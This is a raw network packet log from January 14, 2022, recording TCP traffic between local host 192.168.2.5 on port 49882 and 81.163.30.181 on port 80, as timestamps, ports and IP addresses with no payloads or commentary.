Jan 14, 2022 21:05:49.238156080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238182068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238214016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238234997 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238255978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238296032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238336086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238365889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238406897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238426924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238439083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238449097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238490105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238493919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238531113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238569975 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238570929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238610983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238653898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238692045 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238693953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238713026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238734961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238775969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238796949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238815069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238856077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238898039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238934994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238939047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.238959074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.238981962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239032030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239049911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239073038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239114046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239134073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239154100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239186049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239221096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239223957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239264011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239303112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239316940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239341021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239356995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239387035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239427090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239443064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239466906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239507914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239522934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239546061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239586115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239624977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239640951 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239665031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239674091 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239705086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239742994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239782095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239798069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239825010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239861965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239892960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239903927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239912987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.239944935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.239984035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240006924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240022898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240061998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240101099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240115881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240142107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240180016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240199089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240220070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240227938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240261078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240298986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240312099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240338087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240376949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240392923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240417004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240458012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240494967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240513086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240534067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240549088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240575075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240612984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240643024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240653038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240693092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240732908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240748882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240773916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240812063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240828991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240852118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240859032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.240891933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240931034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.240945101 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.242084026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.243819952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.244661093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.247848034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.247889996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.247929096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.247962952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.247967958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.248652935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.259598970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.259644985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.262540102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.264344931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.266824007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.299634933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299679995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299717903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299757957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299767017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.299798012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299837112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299848080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.299876928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299877882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.299916029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299957037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.299968958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.299998999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300036907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300048113 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300076962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300117016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300153971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300164938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300194025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300234079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300239086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300276995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300278902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300318956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300358057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300364017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300399065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300440073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300452948 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300477982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300518036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300555944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300570011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300596952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300637960 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300643921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300677061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300682068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300717115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300755978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300792933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300800085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300833941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300874949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300885916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300916910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300916910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.300957918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.300997019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301008940 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301038980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301079035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301085949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301116943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301156044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301179886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301193953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301234007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301274061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301279068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301311970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301352024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301357985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301392078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301394939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301430941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301470041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301480055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301508904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301548958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301589012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301594973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301626921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301667929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301673889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301708937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301712990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301748037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301788092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301826000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301832914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.301920891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301960945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.301973104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302001953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302005053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302041054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302081108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302087069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302120924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302160025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302165985 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302198887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302237988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302278042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302284002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302319050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302365065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302371025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302406073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302407026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302445889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302484035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302489996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302524090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302563906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302568913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302613974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302654028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302690983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302695990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302731037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302771091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302774906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302810907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302814007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302850962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302890062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302895069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.302927017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302967072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.302970886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.303006887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303046942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303087950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303088903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.303126097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303164959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303177118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.303205967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303206921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.303246021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303286076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303289890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.303324938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303364992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303369999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.303405046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303443909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303483009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303488970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.303524017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303560972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303571939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.303601980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.303601980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.306250095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.306288958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.306340933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.307354927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.307396889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.307414055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.309052944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.320449114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.320480108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.320581913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.324959040 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.361836910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361875057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361891985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361910105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361926079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361943007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361953974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.361960888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361979961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361996889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.361998081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362014055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362021923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362031937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362040997 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362050056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362067938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362071991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362085104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362101078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362102032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362119913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362135887 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362143993 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362154007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362170935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362174034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362186909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362204075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362207890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362221956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362240076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362256050 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362257957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362276077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362283945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362296104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362312078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362314939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362333059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362349987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362360001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362368107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362385035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362391949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362404108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362420082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362421036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362437010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362453938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362469912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362472057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362487078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362500906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362504959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362520933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362524033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362544060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362560987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.362560987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.362579107 CET	80	49882	81.163.30.181	192.168.2.5
